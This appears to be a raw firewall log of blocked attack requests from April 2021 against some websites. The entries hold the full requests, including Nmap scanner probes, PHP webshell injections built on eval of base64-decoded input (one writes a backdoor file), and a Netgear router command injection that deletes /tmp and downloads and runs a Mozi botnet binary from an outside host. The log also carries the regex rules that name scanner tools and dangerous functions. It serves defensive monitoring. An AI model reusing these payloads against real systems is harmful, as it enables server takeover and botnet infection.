["2021-04-15 09:39:11","123.130.125.67","GET","\/Portal0000.htm","Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","GET \/Portal0000.htm HTTP\/1.1\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)\nhost:211.149.227.250\n\n"] ["2021-04-15 09:39:11","123.130.125.67","GET","\/__Additional","Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","GET \/__Additional HTTP\/1.1\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)\nhost:211.149.227.250\n\n"] ["2021-04-15 09:39:12","123.130.125.67","GET","\/","Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","GET \/ HTTP\/1.1\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)\nhost:211.149.227.250\n\n"] ["2021-04-15 09:39:12","123.130.125.67","GET","\/CSS\/Miniweb.css","Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)","GET \/CSS\/Miniweb.css HTTP\/1.1\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; Nmap Scripting Engine; http:\/\/nmap.org\/book\/nse.html)\nhost:211.149.227.250\n\n"] ["2021-04-15 16:02:01","121.14.195.174","POST","\/plus\/90sec.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","base64_decode\\( >> guige:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();","POST \/plus\/90sec.php HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\ncontent-length:189\nreferer:http:\/\/www.chinasigiskin.cn\/plus\/90sec.php\n\nguige=@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();&|=ZWNobyAie3JvYm90fSI7"] ["2021-04-15 16:02:03","121.14.195.174","POST","\/utility\/convert\/data\/config.inc.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","base64_decode\\( >> tom:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();","POST \/utility\/convert\/data\/config.inc.php HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\ncontent-length:187\nreferer:http:\/\/www.chinasigiskin.cn\/utility\/convert\/data\/config.inc.php\n\n|=ZWNobyAie3JvYm90fSI7&tom=@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"] ["2021-04-15 16:02:03","121.14.195.174","GET","\/uploads\/dede\/sys_verifies.php?action=getfiles&refiles%5B0%5D=123&refiles%5B1%5D=%5C%22;eval($_POST%5Bysy%5D);die();\/\/","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> refiles[1]:\\\";eval($_POST[ysy]);die();\/\/","GET \/uploads\/dede\/sys_verifies.php?action=getfiles&refiles%5B0%5D=123&refiles%5B1%5D=%5C%22;eval($_POST%5Bysy%5D);die();\/\/ HTTP\/1.1\nconnection:Keep-Alive\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\nreferer:http:\/\/www.chinasigiskin.cn\/uploads\/dede\/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_POST[ysy]);die();\/\/\n\n"] ["2021-04-15 16:02:18","121.14.195.174","POST","\/web\/new\/fenlei\/do\/jf.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","base64_decode\\( >> lequ:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();","POST \/web\/new\/fenlei\/do\/jf.php HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\ncontent-length:188\nreferer:http:\/\/www.chinasigiskin.cn\/web\/new\/fenlei\/do\/jf.php\n\n|=ZWNobyAie3JvYm90fSI7&lequ=@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"] ["2021-04-15 16:02:18","121.14.195.174","POST","\/index.php?m=vote&c=index&a=post&subjectid=236&siteid=1","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","base64_decode\\( >> radio[]:);fputs(fopen(base64_decode(ZnVjay5waHA),w),\"<?php @eval($_POST['lequ']);?>\");","POST \/index.php?m=vote&c=index&a=post&subjectid=236&siteid=1 HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\ncontent-length:98\nreferer:http:\/\/www.chinasigiskin.cn\/index.php?m=vote&c=index&a=post&subjectid=236&siteid=1\n\nradio[]=);fputs(fopen(base64_decode(ZnVjay5waHA),w),\"<?php @eval($_POST['lequ']);?>\");&subjectid=1"] ["2021-04-15 16:02:27","121.14.195.174","POST","\/fuck.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","base64_decode\\( >> lequ:@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();","POST \/fuck.php HTTP\/1.1\nconnection:Keep-Alive\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nuser-agent:Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\nhost:www.chinasigiskin.cn\ncontent-length:188\nreferer:http:\/\/www.chinasigiskin.cn\/fuck.php\n\n|=ZWNobyAie3JvYm90fSI7&lequ=@session_start();$_SESSION[chr(90)]=$_POST[chr(124)];@eval(base64_decode($_SESSION[chr(90)]));die();"] ["2021-04-15 22:25:49","222.140.129.157","GET","\/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/222.140.129.157:54737\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",null,"args","\/\\* >> cmd:rm -rf \/tmp\/*;wget http:\/\/222.140.129.157:54737\/Mozi.m -O \/tmp\/netgear;sh netgear","GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/222.140.129.157:54737\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1\n\n"]